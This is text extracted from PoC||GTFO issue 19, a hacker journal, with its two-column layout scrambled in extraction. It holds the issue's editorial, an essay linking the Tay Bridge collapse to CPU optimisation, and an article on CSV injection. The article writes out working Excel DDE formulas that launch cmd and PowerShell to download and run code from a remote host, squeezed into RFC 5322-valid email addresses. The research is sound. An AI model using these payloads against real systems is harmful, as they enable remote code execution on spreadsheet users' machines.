Pocorgtfo 19
Pocorgtfo 19
roof f
oncept or et
he uck
ut
A stroke of the brush does not guarantee art from the bristles. Это самиздат.
Compiled for a dozen reasons many dozens of times, the last of which was on March 27, 2019.
0, $0 USD, $0 AUD, 0 RSD, 0 SEK, $50 CAD, 6 × 1029 Pengő (3 × 108 Adópengő), 100 JPC.
Legal Note: Dolly Parton has given away one hundred million books, and we the editors politely suggest
that you get started in giving away some of your own. Please reproduce this fine journal, and spread the
gift of самиздат to all who would like to read it.
Reprints: Bitrot will burn libraries with merciless indignity that even Pets Dot Com didn’t deserve. Please
mirror—don’t merely link!—pocorgtfo19.pdf and our other issues far and wide, so our articles can help fight
the coming flame deluge. We like the following mirrors.
https://unpack.debug.su/pocorgtfo/ https://pocorgtfo.hacke.rs/
https://www.alchemistowl.org/pocorgtfo/ https://www.sultanik.com/pocorgtfo/
git clone https://github.com/angea/pocorgtfo
Technical Note: This file, pocorgtfo19.pdf, is valid as a PDF document, a ZIP archive, and a HTML
page. It is also available as a Windows PE executable, a PNG image and an MP4 video, all of which have
the same MD5 as this PDF.
Cover Art: The cover illustration from this release is a Prévost engraving of a painting by Léon Benett
that was first published in Le tour du monde en quatre-vingts jours by Jules Verne in 1873.
Printing Instructions: Pirate print runs of this journal are most welcome! PoCkGTFO is to be printed
duplex, then folded and stapled in the center. Print on A3 paper in Europe and Tabloid (11” x 17”) paper
in Samland, then fold to get a booklet in A4 or Letter size. Secret volcano labs in Canada may use P3
(280 mm x 430 mm) if they like, folded to make P4. The outermost sheet should be on thicker paper to
form a cover.
2
19:01 Let’s start a band together!
Neighbors, please join me in reading this twen- tions of modern ARM executables, it is possible to
tieth release of the International Journal of Proof scramble the constants, breaking compatibility with
of Concept or Get the Fuck Out, a friendly little disassemblers while executing exactly as intended on
collection of articles for ladies and gentlemen of dis- real hardware. Perhaps you, dear reader, can do the
tinguished ability and taste in the field of reverse same to other architectures?
engineering and the study of weird machines. This
release is a gift to our fine neighbors in Heidelberg, After our paper release, and only when qual-
Canberra and Knoxville. ity control has been passed, we will make an elec-
tronic release named pocorgtfo19.pdf. It is a valid
If you are missing the first nineteen issues, we
PDF document, an HTML page, and a ZIP file
suggest asking a neighbor who picked up a copy of
filled with fancy papers and source code. You might
the first in Vegas, the second in São Paulo, the third
also find pocorgtfo19.exe, pocorgtfo19.png and
in Hamburg, the fourth in Heidelberg, the fifth in
pocorgtfo19.mp4 with the same MD5 hash. On
Montréal, the sixth in Las Vegas, the seventh from
page 21, our very own Ange Albertini will show you
his parents’ inkjet printer during the Thanksgiv-
show he made this pileup of a polyglot and hash
ing holiday, the eighth in Heidelberg, the ninth in
collisions.
Montréal, the tenth in Novi Sad or Stockholm, the
eleventh in Washington D.C., the twelfth in Heidel- There’s a lot of fancy work that can be do with
berg, the thirteenth in Montréal, the fourteenth in homoglyphs in UTF8, but what other clever things
São Paulo, San Diego, or Budapest, the fifteenth can be done with it? Ryan Speers and Travis Good-
in Canberra, Heidelberg, or Miami, the sixteenth speed have been fuzzing UTF8 interpreters not for
release in Montréal, New York, or Las Vegas, the crashes, but for differences of opinion on string le-
seventeenth release in São Paulo or Budapest, the gality. On page 39, they will show you how to make
eighteenth release in Leipzig or Washington, D.C., a string that is happily allowed by Java and Golang,
or the nineteenth in Montréal. Two collected vol- but impossible to insert into a PostgreSQL table.
umes are available through No Starch Press, wher-
ever fine books are sold.
On page 5, our editor in chief regales us with
tales of coke! Neither the soft drink nor the alka-
loid, he speaks here of the refined coal that ushered
in the Industrial Revolution, the compromises nec-
essary to build an affordable bridge from wrought
and cast iron when steel has yet to be invented, and
the disastrous collapse of the Tay Bridge in Scot-
land. What modern marvels are made affordable
and efficient by similar fancy tricks, only to collapse
under an adversarial load?
Time and again in this journal, we have seen
that regular expressions have been used in fragile
code that rules our lives. On page 11, Jeff Dileo
presents a trick for formatting Powershell scripts as
email addresses, such that they are executed when
exported by spammers into Microsoft Excel as CSV
textfiles.
Every enterprising young lady and gentleman
who has delved into datasheets and instruction sets
has a moment of curiosity when a field is marked as
undefined, or when it is defined to a constant with no
explanation of that constant’s meaning. Eric Davis-
son shows on page 17 that, at least in the instruc-
3
shut down delays can be used as a communications
channel. Isn’t that wild?
Gabriel Radanne presents his Camelus Docu-
mentum on page 60, a PDF file that is also exe-
cutable OCaml bytecode. The Sapir-Albertini hy-
pothesis, you heard of it here first, neighbors!
You might remember Alexei Bulazel from his
hilarious AVLeak research at WOOT, in which he
exfiltrated file and registry listings from cloud an-
tivirus products through thousands of preselected
false positives and a fresh unpacker.1 Windows De-
fender has been a pet research project of his, and
on page 64, he explains the internals of its emulator.
You’ll learn how its custom apicall instruction can
be added to IDA Pro, how to add an output chan-
nel for printf() debugging from the emulator, and
how to bypass Microsoft’s mitigations against abuse
of this emulation layer.
On page 80, the last page, we pass around the
collection plate. Our church has no interest in bit-
coins or wooden nickels, but we’d love your donation
of a reverse engineering story. Please send one our
way.
4
19:02 Of Coal and Iron
by Manul Laphroaig, Engineer
Gather ’round, neighbors. The Christmas sea- You see, neighbors, pale ale was made possible
son is behind us, but some cold days still lie ahead, by the same thing that made the railway and the rest
and there’s still time for a hearty fireside chat and of the Industrial Revolution: coke, which is to coal
a pint. And as I raise my pint and think of fire- as charcoal is to wood. Malts used to be dried with
places and of stockings hung by the chimneys with wood or peat fires, and that meant smoke and darker
care, my thoughts turn to the thing that had to do malts. Raw coal, although cheaper, could not be
with all of these and warmed the hearts and limbs used, because hardly anyone likes their beer to smell
of geeks of the ages past: coal. of sulfur. Coke, on the other hand—once the pro-
These days, neighbors, hardly anyone gets coal in cess for its production got figured out, which in Eu-
their stockings, and the coal-fed heating oven closest rope happened in late 16th–early 17th century—was
to you is likely in that Victorian novel on your book- a smokeless fuel. Coke ushered in the era of lighter,
shelf (unless you are in Berlin, neighbor, in which “pale” malts, and by the end of the 17th century
case coal might still be your winter friend). But this changed our idea of a neighborly pint. Which was
pint of pale ale, at least, is a reminder of the times nothing compared to how coke changed the ideas of
when coal was something every geek of technology distance and physical neighboring.
cared about. Chances are, neighbor, that you are reading
this thanks to the Network of Networks, other-
wise known as the Internet, and that a few of your
other favorite things also need connectivity. But of
course the Internet was not the first physical net-
work of networks. It wasn’t even the first network
of metal that made the far things and places pre-
viously unreachable—except to the very few and at
a great expense—reachable on the cheap. That net-
work was the railway, and it would not have hap-
pened without coke—and, of course, its best friend,
iron.
Just how exciting was that railway network? you
might ask. Jules Verne’s Around the World in Eighty
Days, an engraving from which graces this edition’s
cover, was prompted by the news report that the
world’s public transport network of railways and
steam boat routes was almost complete for circum-
navigation, missing just some 140 miles in India.
This was the news of the age—and the book became
Verne’s most popular one, prompting many real-life
journeys around the globe.
In Europe the process for smelting iron2 with
coke was figured out around the beginning of the
17th century. The inventor of record, Abraham
Darby (also called Abraham Darby the Elder, as
his son and grandson of the same name continued
2 Itgoes something like this. Iron in nature tends to be all tied up in oxides, but, given the choice, oxygen really prefers
carbon. So if you heat it all up in a scene that’s just right, like a blast furnace, iron gets reduced out. Just think of
2Fe2 O3 + 3C → 4Fe + 3CO2 as nature’s distracted boyfriend meme—except that iron and carbon remain best friends, and
the intricacies of their relationship have been the subject of countless bedside books of the geeks of the early 1900s, such as
H.M. Howe’s Iron, Steel, and Other Alloys, which you’ll find in the feelies. This is true steampunk, neighbors, and truer
romance of the elements is yet to be written, despite the fact that the iron obtained through smelting was called “pig iron.”
5
to further the relationship of coal and iron), was in-
spired by seeing coke being used in malt ovens. Be-
fore then, smelting iron required charcoal. This was
good enough for swords and similar items of expen-
sive blacksmithing, but rather limited the amount
of iron one could smelt.
Not only trees take a while to grow, and Britain’s
timber was already in scarce supply by 1700s, but
charcoal doesn’t pile up so well with iron ore. So
coke both saved the trees and allowed for much
larger blast ovens, resulting in much cheaper iron, in
much larger quantities. It was initially not as good
as hand-hammered wrought iron, but it was good
enough, and there was enough of it to be poured
into casts, at a fraction of the cost. So much, in
fact, that one could make buildings, bridges, and
railroads out of it.
In some 50 years cast iron made its way from
pots and pans to what we now call critical infras-
tructure. It went from the first coke-powered blast
furnaces set up by Abraham Darby in 1709 to the
icons of the Industrial Revolution such as the Crys-
tal Palace of the London’s Great Exhibition of 1851
and the great cast iron bridges such as the 2.75-mile
long Tay Bridge of 1879 across the Firth of Forth. But the choice between infrastructure you can af-
The time cast iron took to get adopted for major ford right now and the one you can’t is pretty easy,
infrastructure projects was not accidental, as chem- and so is the employer’s choice between labor that
ical impurities of coke were still larger and less con- can be had on the cheap and the expert labor that’s
trollable than those of charcoal, and defects such as scarce. The march of the cheap technology cannot
those caused by gas bubbles were inherent in the be stopped—think of Javascript and IoT.
casting process. Also, cast iron is hard and com- Who said IoT? Neighbor, what is that bottle over
presses well, but is brittle, because it still contains on that shelf right next to the divine nectar of Islay?
a fairly large amount of carbon and slag, in a het- Indeed, it is the Glenrothes scotch, and so suitable
erogeneous alloy structure, which is one of the many for the story I am going to tell, for the first of its
subtle and fascinating phases of the relationship be- kind, they say, was distilled on the same day it hap-
tween iron and carbon. So cast iron was not without pened. Give me a generous pour, neighbor, and take
its downsides. another, for the story is not a happy one.
This is the story of a great feat of infrastructure,
the engineer knighted for it, and not surviving it by
even a year. This is the story of the Tay Bridge.
Beautiful Railway Bridge of the Silvery Tay!
With your numerous arches and pillars
in so grand array,
And your central girders,
which seem to the eye
To be almost towering to the sky.
The greatest wonder of the day,
And a great beautification to the River Tay,
Most beautiful to be seen,
Near by Dundee and the Magdalen Green.
– William McGonagall, 1879
6
week after Queen Victoria on June 20, 1879, crossed
the celebrated Tay Bridge, an engineering marvel of
the day and an economical one at that.
The Tay Bridge used an ingenious and cost-
effective structural scheme, which combined cast
iron columns with wrought-iron cross-bracing. It
combined the strengths of the two kinds of mate-
rials: the cheapness and hardness of cast iron, and
the tensile strength of the more expensive wrought
iron. Unlike cast iron, wrought iron could bend
without breaking, as the slag in its microstructure
was shaped by hammering and rolling (i.e., work-
ing it, hence wrought in its name) into fibers.3 The
wrought-iron braces and tiebars stabilized the open-
lattice piers by linking the cast iron columns. The
structure had to be light enough to carry the weight
of the lattice girders and itself, given the limited
support the tricky river bed could offer. The max-
imum windload observed across the Firth of Forth
was taken into account, too, rather than adding an
arbitrary allowance.
to its iron-carbon structure layering of iron allotropes. But at the time steel production still could not compete with wrought
iron.
7
Then, on Sunday the 28th of December 1879, the foundry foreman and the bridge maintenance inspec-
Tay Bridge collapsed to high winds as a train was tor, each acting within their normal layers of compe-
passing through it, killing all aboard. tence and trusting the judgment of experts in other
layers. With so many people involved, layers of en-
Beautiful railway bridge of the silv’ry Tay
gineering abstraction once again became boundaries
Alas! I am very sorry to say
That ninety lives have been taken away
of competence.
On the last sabbath day of 1879 The combined effect of these good faith opti-
Which will be remember’d mizations was wilder and more deadly than anyone
for a very long time. could predict. Although the inquiry board members
– William McGonagall, 1880 disagreed on whether the bridge as designed would
have stood if its workmanship were perfect or close,
———————— it was abundantly clear that continuing the busi-
What brought the bridge down? Was it poor de- ness of cast iron structures as usual was too risky.
sign or flaws in the workmanship? An inquiry board Several major bridges and viaducts were abandoned
set up to investigate the deadly collapse brought and redesigned or condemned and eventually re-
to light many things, such as the ingenious prac- placed. Cast iron designs gave way to more expen-
tices of the foundry workers to disguise the casting sive wrought iron (think Eiffel Tower), and then the
flaws they considered minor by filling them in with steel industry caught up and made wrought iron ob-
a paste of beeswax, iron filings, etc., that appeared solete.
to be metal when burnished. Another practice that
The stone pier stumps of the original Tay Bridge,
turned out to be common among moulders was to
though, are still visible next to the new bridge.
cast the holes for bolts when casting the columns,
rather than drilling them afterwards. This made the BEAUTIFUL new railway bridge of the
holes conical rather than cylindrical, putting more Silvery Tay,
load from the bolt on the narrow edge end, crushing With your strong brick piers and buttresses
the bolt’s thread, allowing extra play for the bolted in so grand array,
tiebars, and weakening the overall lattice structure And your thirteen central girders,
as a result. As the windload calculations were traced which seem to my eye
to the authoritative books of the day and redone, Strong enough all windy storms to defy.
questions were raised whether the wind speeds in –William McGonagall
the respective formulas were meant to be instanta-
neous maximal values at a point or average values And so ends this story of coal, iron, and crit-
calculated over time or over the length of a bridge’s ical infrastructure, neighbors. But all of this had
span, which were smaller. happened before, and it will all happen again.
Sir Bouch was known for designs that optimized ————————
costs. The makers of the bridge’s columns added Although our networks are not of iron and car-
their own optimizations to the casting processes: bon, we too have had miraculous breakthroughs
casting bolt holes while the column was cast was that, like coke, allowed us to scale them far beyond
much cheaper than boring them afterwards. Bolts, the limits any sane economist would’ve thought pos-
in turn, were cheaper than pins. During the inquiry sible. Our networks and artifacts too are subject to
it transpired that Sir Bouch did not know that the the same real world forces that favor engineering
bolt holes were cast as a common practice, while the them on the cheap, and our choices of materials by
casters did not think the difference important. In brittleness and the skill needed to work them are
turn, the casters had concerns about the attachment eerily similar.
of tying braces, “knowing how treacherous a thing Our boundaries of competence are as strong as
cast iron is”, but assumed the engineers knew and ever, and our drive to optimize on both sides of an
compensated for the weaknesses with redundancy. abstraction boundary is just as disastrous. Nor have
The bridge as built was the sum of many in- we any lack of “evidence-based” expert advice that
dependent optimizations, from the overall design looks so authoritative in a book or in powerpoint,
to lower its weight to the labor of casting its iron but may not even use relevant metrics.
columns. All of these optimizations were made in Indeed, our hardware has more kinds of Spectres
good faith, from the chief engineer down to the than a Victorian ghost novel.
8
9
It is hard to fault the CPU engineers who, in pur- reality strikes back and reminds us that composition
suit of affordable performance, introduced the cache. is a really, really hard problem, and that measuring
The cache is and will likely remain one of the break- a system in any number of ways is no substitute for
through computing inventions that delivered mirac- understanding how it works across the layers, from
ulous improvements on a budget, suddenly making top to bottom.
the impossibly huge computations actually econom- Who needed exact understanding of CPU op-
ical. The cache allowed programmers to be effective timizations when the benchmarks all agreed that
without honing the finer skills of understanding and miraculous improvements have been achieved? Who
hand-optimizing the memory footprint of their algo- would argue with the carefully curated sets of
rithms. Just as with cast iron, much larger edifices computations-that-mattered, and which millions of
could suddenly be constructed without rare and ex- dollars in pure engineering effort have been spent to
traordinary skill, their occasional defects ignored or tune CPUs to? Certainly not the former students
polished over. who spent their advanced architecture courses cal-
Then came speculative execution. Quite hard to culating weighted averages of instruction mixes to
get right and quite impossible to fully understand, assert that one ISA was superior to another.
it became another miracle, creating another layer It is said that generals always prepare to fight the
of abstraction that just worked and was assumed previous war. Just in case we are tempted to feel su-
perfect by all the designs above it. Graduate-level perior to these proverbial generals, let us remember
architecture textbooks extolled its virtues without that several generations of CS and CE students have
quite explaining how it could be tractably imple- been made to reenact the benchmark battles of the
mented or meaningfully explored in an actual CPU RISC vs CISC war in lieu of an actual education in
on one’s desk. their contemporary CPU microarchitectures.
Just as with the Tay Bridge, independent good-
faith optimizations piled up until no one could ex- Just as poor Sir Bouch, we allowed the metrics
actly understand the effects of their composition and that have been useful to a point to get entrenched
predict their results. Instead, we replaced under- in our thinking and our processes. We forgot that,
standing with cost metrics and supposedly authori- unlike math and mechanisms, metrics have no life
tative benchmarks, trusting them to capture every- of their own and will borrow it from other things.
thing that matters, just as poor Sir Bouch did, and Bouch’s countryman, the economist Charles Good-
forged on, optimizing the hell out of everything we hart, formulated a mild version of this observation
could. as “When a measure becomes a target, it ceases
Every profession has its temptations that are to be a good measure.” But as we see, neighbors,
subtle and hard to resist, and that pave the road the truth deserves much harsher words: metrics are
to hell not just with good intentions but with high- vampires. When allowed, they will drink the profes-
grade ingenuity in pursuit of these intentions. Op- sion’s lifeblood, and, if the hapless engineers are too
timizing to benchmarks as if these benchmarks rep- unlucky, will take lives as well.
resented reality is ours. It calls to our competitive We’ve had our fair warnings. So far our Tay
spirit and entices us with the beauty of the well- Bridge moments have been largely bloodless. They
defined contest. It helps us show off miracles of will keep coming, though, because metrics, bench-
clever winning solutions. marks, and layers of abstraction tend to extract
Miracles create a taste for more miracles. Opti- their cost as soon as we mistake them for reality
mizations create an appetite for more optimizations or chase them too doggedly.
across the board. Since the combined effects of opti- Remember the bridge over the silvery Tay, neigh-
mizations become hard to understand, metrics and bors, watch your allowances, trust the experts and
benchmarks proliferate, become the proxy of reality, the metrics only so far as the wind can blow them,
and eventually get mistaken for the whole of reality. and be sure you understand the workmanship and
This works for a while, with a feverish build-up of the optimization shortcuts of at least two layers
critical dependencies and their proliferation. Then down. Amen.
10
19:03 On CSV Injection and RFC 5322
by Jeff Dileo
The world is a dark place full of hosts that refuse character sequences into a CSV file. However, the
to communicate for fear that their messages are mal- name is a misnomer, as it is based entirely on em-
formed. In this PoC, I hope to spread the good word bedding non-CSV structures into CSV files with the
by injecting remote code execution into the humble expectation that the file will be opened in an oth-
email address by way of the CSV. erwise insecure spreadsheet application. While the
above CSV data is all there is to CSV (I implore
You down with C.S.V.? you not to heed the blatant lies of RFC 4180, which
claims the lines should be separated by DOS CRLF
(Yeah, you know me.)
sequences), there are those who would try to port
The comma-separated values (CSV) “format” exists their binary format “macro” extensions to the hum-
for three reasons, and three reasons alone. It pro- ble CSV. I speak of Excel and its ilk, who would
vides for the anti-GPL SaaS developer a format with go so far as to process their “function” structures
which to serialize trite data for irate customers. It from a CSV file, but be so stingy as not to embed
provides for good neighbors who would parse data them when saving to one. Such functions enable the
in functional languages. And it provides for the arbitrary execution of code, a “feature” generally fa-
wayward sheep of the world, who invoke the demon vored by the neighborly sorts of folk who appreciate
Excel with a pound of their flesh. Much has been a good pwn.
written on the wholesome insecurity of office suite
software. But I say unto you, an unexplained string Calling Excel Functions
of bytes to start a calculator is not a PoC to drink
to. There is a deep irony in the fact that none of MS Excel supports a large list of functions with
these writings provide a proper explanation for the which an enterprising neighbor could crunch all sorts
payloads they purvey, yet equally provide not for of numbers for all sorts of reasons.As a small digres-
the ne’er-do-well script kiddie. sion, I remind all good neighbors of Benford’s law
CSV is a deceivingly simple text-based for- as a ward against the corrupting influence of these
mat not for storing “records” and “fields,” as the seemingly limited functions. As covered elsewhere,
Wikipedia article would have you believe, but is there are many ways to invoke them from a cell:
instead a serialization format for raw spreadsheet
=SUM(65,65)
data. As such, I entice you to enter the following
+SUM(B3,C3)
text into a file using the means available to you.
A cell not a Title A, Always Fish +3+SUM(B3,C3)
1, Fish -SUM(B4,C4)
2, Fish
=SUM(B5,C5)*SUM(B5,C5)
"Multi
line", Fish
"Comma,comma", Fish Additionally, Microsoft, in a move to convert the
"Q""uot""e", Fish flock of Lotus worshipers, has also provided an alias
Red, Fish
Blue, Fish
to their = operator in the form of the familiar @ sigil.
Praise the Helix!
“CSV injection” is an attack whereby a vulnera-
@SUM(B2,C2)
ble application is coerced into embedding dangerous
11
For those wishing to scratch their RE itch, I leave When called like this, Excel will search the “cur-
as an exercise to the reader exploring the implemen- rent” directory for the file dde.xlsx. If the file con-
tation of the OCT2HEX function. Both of these will taining this DDE reference was opened from Ex-
result in the same (expected) value. cel, it will search the Desktop, otherwise Excel will
search in the Documents directory. It will then at-
=OCT2HEX(20240501) tempt to load row 2, column 3 from sheet “Sheet1.”
=OCT2HEX("20240501") However, It should be noted that even when invok-
ing Excel as the service, warning prompts will be
raised to the user. The first is a generic prompt in-
DDE For You And Me dicating that “external sources” could be “unsafe.”
Dynamic Data Exchange (DDE) is a godless “IPC” Clicking “Update” will result in Excel prompting
mechanism featured across the Microsoft Office ap- again, asking if it is okay for ’EXCEL.EXE -X’ to be
plications, supposedly to enable them to pull real- started; the answer is almost always no. Further-
time data from a service. I say “supposedly” be- more, dear neighbors, Excel is more than willing to
cause it is a bygone feature that is not used by real take a full file path, or even a URL to a remote
people and modern Windows does not appear to in- resource, to load a file. However, the same exact
clude any usable DDE services that run by default. prompts will ensue when opening them if they have
Unfortunately, because DDE is so old, a server can such constructs.
only be implemented in VB6 (for which you’d be =Excel|’C:/path/to/dde.xlsx’!’R1C1’
hard pressed to develop without an IDE on modern =Excel|’https://example.tld/dde.xlsx’!’R1C1’
Windows) or via obtuse C++ APIs. Implementing
a DDE server is left as an exercise to the reader;
Observant neighbors (who haven’t fallen asleep
however, if an article from Microsoft itself is to be
yet) will notice something odd about that warning
believed,4 DDE can be used to dynamically update
message. Indeed, as you may have suspected, Excel
cells within an Excel spreadsheet. I wonder what a
will simply take the Excel part before the pipe, cap-
neighbor could do with that!
italize it, and run it as a command. As such, we not
In Excel, DDE “services” are not called using
only can invoke Excel, but as we are executing com-
syntax of Excel functions. For an unknown reason
mands from Excel’s file path, WE CAN INVOKE
lost to time, they use a pipe character and an excla-
WORD!
mation mark as delimiters as described in the only
Microsoft reference on the subject.5 =winword|’https://example.tld/dde.docx’!z
=ddeserver|’topicname’!itemname
PowerShell, One Gets Used to It
Excel itself also runs as a DDE server. It is there- I’m sure all the neighbors following along are wait-
fore possible to use a DDE command that commu- ing to hear the good word of PowerShell. Seeing as
nicates with another Excel process. However, this it is all the bad parts of Python and Zsh combined,
does not appear to work across different logged-in and it is in the default Windows PATH, we should
users. The formatting is a bit wonky, but another be able to invoke it with glee. Lo, and behold:
active Excel process will generally be started such
that any changes made in the referenced instance are =powershell|’calc’!z
immediately reflected in the referencing instance.
. . .which does not work. Alas, DDE is so an-
=Excel|[dde.xlsx]Sheet1!R2C3 cient that it only supports the 8.3 filename syntax.
POWERSHELL.EXE is simply too long, and Excel trims
it down to POWERSHE.EXE, the Windows version of
She-Ra. But alas, POWERSHE.EXE does not exist on
standard Windows images. What are we to do, fel-
low neighbors? For now, I think we have to dig deep
4 https://support.microsoft.com/en-us/help/247412
5 https://docs.microsoft.com/en-us/windows/desktop/dataxchg
12
and invoke PowerShell through CMD.EXE, a shell so which is our CMD.EXE input. Additionally, we cannot
terrible Windows 10 replaced it with Bash. simply replace the inner single quotes with double
quotes, as CMD.EXE will strip them from the argu-
=cmd|’/C powershell calc’!z ments passed to PowerShell. However, CMD.EXE will
pass them if they are backslash-escaped. But, if you
For reference, /C is one of two necessary op- were thinking that we would start backslashing our
tions for CMD.EXE to execute the remainder of the backslashes, I can safely confide, fellow neighbors,
command, the other being /K. The former instructs that Xzibit will not be interrupting this PoC. DDE,
CMD.EXE to exit after it has finished executing its much like CSV, does not believe in the just backslash
command. The latter keeps CMD.EXE running after- as an escape sequence, and instead uses doubling to
wards. Additionally, the powershell calc segment indicate that a character should be treated literally.
should be understood as being equivalent to typing Consequently, this means that we can use either "
those exact characters into a CMD.EXE shell and tap- or ’’ sequences to use string literals in PowerShell.
ping the enter key ever so gently. As for the !z For now, we will use the latter, as they are less un-
in the last three commands, we derive no joy from sightly.
specifying a DDE item name, but DDE requires that
one be supplied nonetheless and the author likes the
letter z.
As all good neighbors know, a static payload that
starts a toy calculator is not a worthy PoC. Instead,
dynamic payloads obtained from a remote server are
the proper PoC path to enlightenment. Ask not =cmd|’/C powershell
what you can do for PowerShell, but what Power- Invoke-Expression((New-Object Net.WebClient)
Shell can do for you. As a verbose veneer on top .DownloadString(”https://example.tld”))’!z
of C]/.NET, PowerShell has many different ways to
do networking, but only one decent way to evaluate
strings of code.
Invoke-Expression((New-Object Net.WebClient)
.DownloadString(’https://example.tld’))
The above, lacking any commas to muck up our
code, is a valid CSV file, and, when opened in Excel,
The above expression will instantiate a .NET will prompt the following two warnings that differ
WebClient object and invoke its DownloadString ever so slightly from the previous ones. The for-
method on a supplied URL. DownloadString will mer is a stern warning about how a neighbor’s com-
simply return the response body of the HTTP puter may “no longer be secure.” The latter now
request performed. Invoke-Expression() is the asks about starting ’CMD.EXE’. While it is worth
PowerShell name for what is named eval() in nearly noting that an Excel spreadsheet file (*.xslx) with
every programming language that has such a fea- an =Excel| DDE reference followed by a =cmd| ref-
ture. erence will prompt the former followed by a “Yes to
But embedding this snippet into our DDE call is All” prompt listing only the ’EXCEL -X’ command,
not as simple as it seems. While it may not appear this is not the case for CSV files. They will always
obvious at first, we cannot use bare single quotes in prompt the stern warning, followed by the CMD.EXE
our CMD.EXE input as Excel DDE uses single quotes prompt, and lastly the EXCEL.EXE -X prompt, with
to bound “topic” and “item” values, the former of each execution attempt prompted individually.
13
The “simple” form of email address that most
neighbors are familiar with is a restricted subset of
the “dot-atom” form, whereby the “username” seg-
ment of the address (referred to in the spec and here-
after as the “local-part”) can consist of only alphanu-
merics and the following characters:
! # $ % & ’ * + - / = ? ^ _ ‘ { | } ~
Additionally, period characters (i.e. “.”) are sup-
ported as long as they do not start or end the
local-part, nor appear consecutively. As can be ob-
served, this supplies us with the majority of the
characters we need to write a vanilla CMD.EXE DDE
call. However, it lacks the spaces we need between
Email Addresses and RFC 5322
/C, powershell, and the PowerShell input. For-
Hark, dear neighbors. If you thought we were done, tunately, we can take advantage of the fact that
you would be only half right. For what is the point CMD.EXE will treat = characters between arguments
of a PoC if it lacks realism. Any heathen can throw as spaces (it will also treat ; the same, but that
some PowerShell in a text file and call it a CSV. is not in the dot-atom list). However, it should be
But it is the enlightened mind that can meld multi- noted that this is only the case for CMD.EXE and
ple formats together to form the quintessential PoC, batch command structures; we cannot successfully
a polyglot. But first, let us speak of that great evil, call powershell=calc. Luckily, CMD.EXE supports
email. SMTP is a sinful protocol not only for its piping just like Unix shells, and we can take advan-
built-in dependence on DNS to supply the domain tage of this:
name of the mail server, but also for the initial “stan- =cmd|’/C=echo=calc|powershell’[email protected]
dardization” of email addresses, which are “most ac-
curately” described in RFC 5322.6 You see, dear This works in the simple case, but, alas, email
neighbors, the email addresses you may have come addresses have another devious limitation: the local-
to know are naught but a finite range of the infinite part can only be up to 64 characters long, as de-
unknown that awaits us. The soulless corporations, clared separately in RFC 2821.8 Therefore, neigh-
and even Unix (due to the corruptive influence of bors, we need to enact some measures to trim our
Ma Bell) have deceived you, and led you to blissful, payload. Thankfully, we can apply the following
ignorant damnation. truths in pursuit of this goal:
Email addresses are such fantastical things, that
1. The space between /C and powershell is not
the only true way to validate their existence is to ask
necessary, as CMD.EXE will pass every charac-
them if they exist. Many—possibly most, in fact—
ter after a /C or /K as command input.
get this crucial step of email validation wrong. And
the most slothful among them barbarously attempt 2. Invoke-Expression is a cmdlet and has a
to apply the regex chainsaw to this philosophical shorter alias of iex.
quandary as if it were a simply felled tree. No, dear
neighbor, the humble email address is not as hum- 3. In PowerShell 3.0 (Windows 8+, backport to
ble as it at first appears, and sits high(er) on the Windows 7), the Invoke-WebRequest cmdlet
Chomsky hierarchy. How high is a question for an- is a suitable replacement for DownloadString,
other time, but, among other things, its recursively especially as it has a shorter alias of iwr.
nestable comments imply that it cannot be parsed While PowerShell functions can be executed in-
by legitimate regular expressions. For the differ- dividually with spaces, we cannot use spaces here,
ences between real and fake regular expressions, the and, even if we could, calls cannot be nested prop-
author recommends Russ Cox’s soothing treatise on erly using spaces. While PowerShell can use pipes
the subject.7 to forward arguments into calls, CMD.EXE does not
6 unzip pocorgtfo19.pdf rfc5322.txt
7 https://swtch.com/~rsc/regexp/regexp1.html
8 unzip pocorgtfo19.pdf rfc2821.txt
14
offer us a good way to echo a pipe character that is Rails is still a Ghetto
piped into a powershell call; the CMD.EXE/batch
^ escape character has forsaken us. Regard- Neighbors, it is with great sorrow that I inform you
less, Invoke-WebRequest does not take piped in- that, as of this writing, Ruby on Rails’ email val-
put. However, dot-atom sequences may begin and idation routine10 is completely incorrect.11 For as
end with a CFWS (comment-folding-whitespace) hard as it tries, it simply does not understand the
sequence, which begin and end with open and fundamentals of an email address. First and fore-
close parentheses, respectively, and may contain most, it has no understanding of comments, and,
any nested number of such pairs. Comments ad- outside of a quoted string, it will not accept paren-
ditionally support backslash-escaped “quoted-pair” theses or colons, the latter of which is necessary in
sequences for characters that would otherwise not the URL string to achieve glorious TLS. And with-
be supported. However, comments directly allow out the semicolon and other magical characters of-
the use of following characters unescaped (in addi- fered by comments, it is extremely difficult to chain
tion to several miscellaneous control characters): operations (within a single email).
We therefore shift focus to the “quoted-string”
! " # $ % & ’ * + , - . / email format, which offers a wider variety of le-
0 1 2 3 4 5 6 7 8 9 gal characters. However, the gem Rails uses inter-
: ; < = > ? @ nally to validate emails does not understand quoted-
ABCDEFGHIJKLMNOPQRSTUVWXYZ string local-parts either. Instead of following the
[]^_‘ spec, which clearly indicates that the entire local-
abcdefghijklmnopqrstuvwxyz part unit must be a single quoted-string bounded by
{ | } ~ raw double quote characters ("), it instead splits the
local-part by periods and then applies the quoted-
With all of these, we can put together the fol- string processing. Furthermore, it does not allow
lowing email address padded out to the maximum raw space characters within quoted strings, and ex-
local-part length of 64: pects them to be backslash escaped, in clear indig-
nation of the RFC. As such, we can, as always, de-
=cmd|’/C=echo= vise a Rails-specific workaround that is still a valid
iex(iwr(”https://1234567890.1234”)) email address. For reference, Lamson12 appears to
|powershell’[email protected] leave all such validation to the application devel-
oper since they might decide to do very custom mail
routing. On that note, Python’s email.utils.-
Depending on how hard one is trying to “vali- parseaddr function will always perform uncompli-
date” an email address, the above will either pass ant legacy comment handling,13 whereby the com-
or fail validation. For what it is worth, the above ment in our above email will be shifted into the name
will pass the generally accepted 99.99% compliant of the user when parsed.
regex.9
15
acter to be the first in the cell. CSV uses double Tying the best of these together, we can obtain
quotes to encapsulate data. Thankfully, that the the following.
raw CSV data starts with a double quote is not a
concern, as Excel will parse the cell as starting from "\",=cmd|’/Cpowershell;
the first character within the quoted-string. This iex(iwr(\"123456789$([char]46)1234\"))’
gives us the following starting point: !"@example.tld
[char]46
’a’+’b’+’c’
and
’a{0}c’ -f ’b’
"a$(’b’)c"
16
19:04 Undefining the ARM
